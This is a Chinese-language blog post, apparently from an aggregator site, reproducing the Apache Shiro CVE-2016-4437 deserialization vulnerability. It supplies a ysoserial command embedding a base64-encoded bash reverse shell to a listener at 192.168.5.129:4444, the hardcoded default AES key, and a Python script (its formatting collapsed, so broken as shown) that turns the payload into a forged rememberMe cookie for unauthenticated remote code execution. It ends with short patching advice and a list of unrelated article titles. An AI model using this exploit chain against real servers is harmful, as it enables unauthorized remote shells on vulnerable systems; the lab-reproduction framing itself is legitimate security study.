当前位置: 首页 > news >正文

shiro CVE-2016-4437 漏洞复现

shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

漏洞原理

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能RememberMe,如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

出现问题的点在AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。

在这里插入图片描述
在这里插入图片描述

登录时是否选择Remember Me都不影响漏洞的复现。
在这里插入图片描述
生成base64后的反弹shell。

在这里插入图片描述
使用 ysoserial-0.0.6-SNAPSHOT-all.jar工具进行序列化,直接调用对应的模块,添加上自己的payload即可,方便快捷。
在这里插入图片描述

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections2  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

将序列化后的payload,放到python代码同一目录下,进行aes加密并进行base64转码。在这之前,首先我们要知道shiro的key值是什么,要不然G。当然,目前暴露的shiroKey值很多,可以自己写个脚本进行爆破。我使用的key值是shiro的默认值。
在这里插入图片描述

import sys
import uuid
import base64
from Crypto.Cipher import AESshiro_key = []def getKey(path):with open(path) as file:shiro_key.append(file.readlines())def encode_rememberme(shiro_key):f = open('poc.ser', 'rb')BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode(shiro_key)iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# path = "./shiroKey.txt"# getKey(path)shiro_key = 'kPH+bIxk5D2deZiIxcaaaA=='payload = encode_rememberme(shiro_key)print("rememberMe={0}".format(payload.decode()))

将生成的payload,复制到cookie的值处即可,其它的不要动。
下面这个图显示的是使用正确的账户登录显示的内容。
在这里插入图片描述
下面这个图显示的是使用非正确的账户登录显示的内容。
在这里插入图片描述
通过这两个图对比,可以发现,该漏洞不需要正确的账户,即可getshell。有一个前提条件就是需要shiro的key值。
在这里插入图片描述
发完包以后,直接getshell。

总结

shiro550漏洞,漏洞点就在于用户信息反序列化可利用,并且加密的key值给了一个固定的默认值的,导致很多开发人员直接使用,接着导致了洞的产生。

修复建议

1、及时升级shiro版本。(不要忘记升级前做备份。)
2、不再使用固定的密钥加密。

参考链接

shiro反序列化漏洞(CVE-2016-4437)漏洞复现:https://blog.csdn.net/HEAVEN569/article/details/125389987
Shiro-550 漏洞复现:https://blog.csdn.net/qq_46440393/article/details/123493079
shiro550漏洞复现与研究:https://www.163.com/dy/article/GCN65SL20511FSTO.html

http://www.lryc.cn/news/66832.html

相关文章:

  • Seqkit-2.2.0 移植指南(openEuler 20.03 LTS SP3)
  • Java版本企业电子招投标采购系统源码——功能模块功能描述+数字化采购管理 采购招投标
  • 二十三种设计模式第五篇--原型模式
  • 阿里云镜像区别公共镜像、自定义、共享、云市场和社区镜像介绍
  • 非线性方程二分法
  • H3C防火墙单机旁路部署(网关在防火墙)
  • 基于密度的无线传感器网络聚类算法的博弈分析(Matlab代码实现)
  • 宕机了?!DolphinScheduler 高可用和 Failover 机制关键时刻保命
  • try(){}用法try-with-resources、try-catch-finally
  • 常见Http错误码学习
  • qemu-基础篇——ARM 链接过程分析(六)
  • Java企业工程项目管理系统+spring cloud 系统管理+java 系统设置+二次开发
  • Eureka与Zookeeper的区别
  • 顺序表和链表的各种代码实现
  • C# 介绍三种不同组件创建PDF文档的方式
  • 极简面试题 --- Redis
  • 可视化图表API格式要求有哪些?Sugar BI详细代码示例(4)
  • 学习vue(可与知乎合并)
  • 【UEFI实战】Linux下如何解析ACPI表
  • Java-Redis持久化之RDB操作
  • 信号signal编程测试
  • Linux学习记录——이십삼 进程信号(2)
  • Revit中如何创建曲面嵌板及一键成板
  • STM32F4_DHT11数字温湿度传感器
  • WiFi(Wireless Fidelity)基础(十一)
  • 操作系统—— 精髓与设计原理--期末复习
  • 每天一道算法练习题--Day21 第一章 --算法专题 --- ----------位运算
  • D1. LuoTianyi and the Floating Islands (Easy Version)(树形dp)
  • rk3588移植ubuntu server
  • 如何更好地刷力扣